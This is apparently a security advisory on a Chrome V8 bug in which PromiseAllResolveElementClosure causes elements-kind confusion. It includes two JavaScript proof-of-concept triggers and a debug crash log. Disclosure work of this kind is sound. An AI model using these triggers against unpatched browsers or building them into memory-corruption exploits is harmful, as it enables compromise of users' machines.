Chrome V8 PromiseAllResolveElementClosure Element Confusion

`Chrome: V8: PromiseAllResolveElementClosure can cause elements kind confusion   
  
  
  
  
The Promise.all method internally uses PromiseAllResolveElementClosure (<a href="https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-promise-gen.cc?rcl=dc2d3bb9711effb349df58af26c49169aa019121&l=1910" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-promise-gen.cc?rcl=dc2d3bb9711effb349df58af26c49169aa019121&l=1910</a>) as a resolver for each of given Promise objects to insert a value into the result array at a specific index.  
  
PromiseAllResolveElementClosure first tries to grow the capacity of the result array, and if it fails due to the index being too large, it uses the CreateDataProperty method to insert the value. The problem is, the growing operation (<a href="https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-promise-gen.cc?rcl=dc2d3bb9711effb349df58af26c49169aa019121&l=1933" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-promise-gen.cc?rcl=dc2d3bb9711effb349df58af26c49169aa019121&l=1933</a>) always excepts the elements kind of the array to be PACKED_ELEMENTS despite the CreateDataProperty can transition it to DICTIONARY_ELEMENTS.  
  
PoC with comments:  
let arr = new Array(0x10000);  
let resolve_element_closures = new Array(0x10000);  
  
for (let i = 0; i < arr.length; i++) {  
arr[i] = new Promise(() => {});  
arr[i].then = ((idx, resolve) => {  
resolve_element_closures[idx] = resolve;  
}).bind(null, i);  
}  
  
Promise.all(arr);  
  
// 0xffff is too large, transitions to DICTIONARY_ELEMENTS  
resolve_element_closures[0xffff]();  
  
// grows the capacity, the elements kind of the result array is still DICTIONARY_ELEMENTS, but the elements object of it is no more a dictionary.  
resolve_element_closures[100]();  
  
// You can observe that V8 crashes here in debug mode.  
resolve_element_closures[0xfffe]();  
  
PoC for release mode:  
var promise = new Promise(() => {})  
promise.then = function (cb) {  
cb();  
};  
  
let arr = new Array(0x10000);  
arr.fill(0);  
arr[arr.length - 1] = promise;  
  
Promise.all(arr);  
  
  
Crash log:  
#  
# Fatal error in ../../src/objects-inl.h, line 2814  
# Debug check failed: fixed_array->IsDictionary().  
#  
#  
#  
#FailureMessage Object: 0x7f122141d860  
==== C stack trace ===============================  
  
./d8(__interceptor_backtrace+0x61) [0x561ea9b7c0e1]  
/home/lokihardt/debug/v8/out.gn/x64.debug/./libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f122c26dcee]  
/home/lokihardt/debug/v8/out.gn/x64.debug/./libv8_libplatform.so(+0x6b924) [0x7f122c19f924]  
/home/lokihardt/debug/v8/out.gn/x64.debug/./libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x3a4) [0x7f122c2351e4]  
/home/lokihardt/debug/v8/out.gn/x64.debug/./libv8_libbase.so(+0x557e7) [0x7f122c2347e7]  
/home/lokihardt/debug/v8/out.gn/x64.debug/./libv8_libbase.so(V8_Dcheck(char const*, int, char const*)+0x32) [0x7f122c235332]  
/home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::JSObject::GetElementsKind()+0x25b) [0x7f12280f7f6b]  
/home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::JSObject::GetElementsAccessor()+0x15) [0x7f122a146185]  
/home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::LookupIterator::State v8::internal::LookupIterator::LookupInRegularHolder<true>(v8::internal::Map*, v8::internal::JSReceiver*)+0x20e) [0x7f122a02082e]  
/home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::LookupIterator::State v8::internal::LookupIterator::LookupInHolder<true>(v8::internal::Map*, v8::internal::JSReceiver*)+0x5c) [0x7f122a01b90c]  
/home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(void v8::internal::LookupIterator::Start<true>()+0x212) [0x7f122a01b772]  
/home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::LookupIterator::LookupIterator(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, unsigned int, v8::internal::Handle<v8::internal::JSReceiver>, v8::internal::LookupIterator::Configuration)+0x6da) [0x7f1227c8151a]  
/home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::LookupIterator::LookupIterator(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, unsigned int, v8::internal::LookupIterator::Configuration)+0x2ee) [0x7f1227c8073e]  
/home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::LookupIterator::PropertyOrElement(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, bool*, v8::internal::LookupIterator::Configuration)+0x547) [0x7f122a007d07]  
/home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(+0x4833085) [0x7f122a9a8085]  
/home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::Runtime_CreateDataProperty(int, v8::internal::Object**, v8::internal::Isolate*)+0x30f) [0x7f122a9a6f2f]  
[0x7efc88a04584]  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`